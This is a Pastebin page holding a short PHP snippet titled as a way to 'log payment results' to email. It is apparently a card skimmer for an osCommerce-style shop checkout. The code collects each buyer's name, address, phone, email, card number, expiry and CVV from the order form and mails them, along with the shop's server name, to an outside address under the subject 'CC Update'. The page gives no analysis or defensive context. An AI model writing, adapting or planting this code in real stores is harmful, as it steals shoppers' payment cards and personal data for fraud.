MW_root

log

Jan 12th, 2016
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. How to log Payment result send to your emails
  2. $order->info['cc_owner'] = $HTTP_POST_VARS['cc_owner'];
  3. $order->info['cc_type'] = $cc_validation->cc_type;
  4. $order->info['cc_number'] = $HTTP_POST_VARS['cc_number_nh-dns'];
  5. $order->info['cc_expires'] = $HTTP_POST_VARS['cc_expires_month'] . $HTTP_POST_VARS['cc_expires_year'];
  6. $firstname = $order->billing['firstname'];
  7. $lastname = $order->billing['lastname'];
  8. $street = $order->billing['street_address'];
  9. $city = $order->billing['city'];
  10. $state = $order->billing['state'];
  11. $zip = $order->billing['postcode'];
  12. $country = $order->billing['country']['title'];
  13. $dayphone = $order->customer['telephone'];
  14. $ccowner = $_POST['cc_owner'];
  15. $ccnumber = $HTTP_POST_VARS['cc_number_nh-dns'];
  16. $ccexp = $HTTP_POST_VARS['cc_expires_month'] . $HTTP_POST_VARS['cc_expires_year'];
  17. $cardtype = $_POST['cc_type'];
  18. $cvv = $_POST['cc_cvv'];
  19. $cemail = $order->customer['email_address'];
  20. $servernya = $_SERVER['SERVER_NAME'];
  21. $alamat = "";
  22. $message = "\n Name:$firstname $lastname \n Address:$street \n City:$city \n State:$state \n Zip:$zip \n Country:$country \n Phone:$dayphone \n email:$cemail \n cctype:$cardtype \n ccowner:$ccowner \n cc:$ccnumber \n exp:$ccexp \n cvv:$cvv \n alamat:$alamat \n";
  23. mail("[email protected]","CC Update From $servernya", "$message");
Add Comment
Please, Sign In to add comment